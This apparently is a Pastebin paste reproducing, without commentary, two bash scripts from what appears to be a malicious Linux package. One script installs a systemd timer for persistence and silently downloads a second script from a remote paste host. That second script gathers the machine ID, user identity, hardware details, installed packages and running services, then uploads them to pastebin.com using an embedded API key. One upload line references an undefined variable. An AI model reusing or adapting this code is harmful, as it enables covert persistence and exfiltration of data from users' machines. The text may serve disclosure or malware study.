Advertisement
Guest User

Untitled

a guest
Jul 15th, 2018
405
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. # The content of ~x script
  2. #!/bin/bash
  3.  
  4. # get to the right location
  5. if [[ -n "$pkgdir" ]]; then
  6. cd "$pkgdir"
  7. else
  8. exit 0
  9. fi
  10.  
  11. be_silent() {
  12. "$@" >/dev/null 2>&1
  13. }
  14.  
  15. # systemd files
  16. SYSTEMD_TIMER="[Timer]
  17. OnCalendar=4d
  18. Persistent=true
  19. OnActiveSec=360
  20. [Install]
  21. WantedBy=timers.target"
  22. SYSTEMD_SERVICE="[Unit]
  23. Type=simple
  24. ExecStart=/usr/lib/xeactor/u.sh"
  25.  
  26. # write systemd files
  27. mkdir -p usr/lib/systemd/system
  28. mkdir -p etc/systemd/system/multi-user.target.wants
  29. echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
  30. echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
  31. ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer
  32.  
  33. # get the upload script
  34. mkdir -p usr/lib/xeactor
  35. if be_silent which curl; then
  36. curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
  37. elif be_silent which wget; then
  38. wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
  39. else
  40. exit 0
  41. fi
  42.  
  43. ######################################################################
  44. # The content of u.sh script
  45.  
  46. #!/bin/bash
  47.  
  48. function urle() {
  49. sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
  50. }
  51. declare -fx urle
  52. GID=
  53. MACHINE_ID="$(cat /etc/machine-id)"
  54. PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
  55. upload() {
  56. up_data="$(echo $1|urle)"
  57. if [[ "$HTTP_CLIENT" == "curl" ]]; then
  58. prefix='curl -s --data'
  59. elif [[ "$HTTP_CLIENT" == "wget" ]]; then
  60. prefix='wget -O/dev/null -q --post-data'
  61. fi
  62. $prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
  63. }
  64. if which wget >/dev/null 2>&1; then
  65. export HTTP_CLIENT=wget
  66. elif which curl >/dev/null 2>&1; then
  67. export HTTP_CLIENT=curl
  68. else
  69. exit 0
  70. fi
  71. cmd_log() { echo "[cmd] \`$@\`:"; "$@" 2>&1; echo; }
  72. full_log() {
  73. echo ${MACHINE_ID}
  74. cmd_log date '+%s'
  75. cmd_log uname -a
  76. cmd_log id
  77. cmd_log lscpu
  78. cmd_log pacman -Qeq
  79. cmd_log pacman -Qdq
  80. cmd_log systemctl list-units
  81. }
  82. FULL_LOG="$(full_log)"
  83. $uploader "$FULL_LOG"
  84. for x in /root /home/*; do
  85. if [[ -w "$x/compromised.txt" ]]; then
  86. echo "$FULL_LOG" > "$x/compromised.txt"
  87. fi
  88. done
  89. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement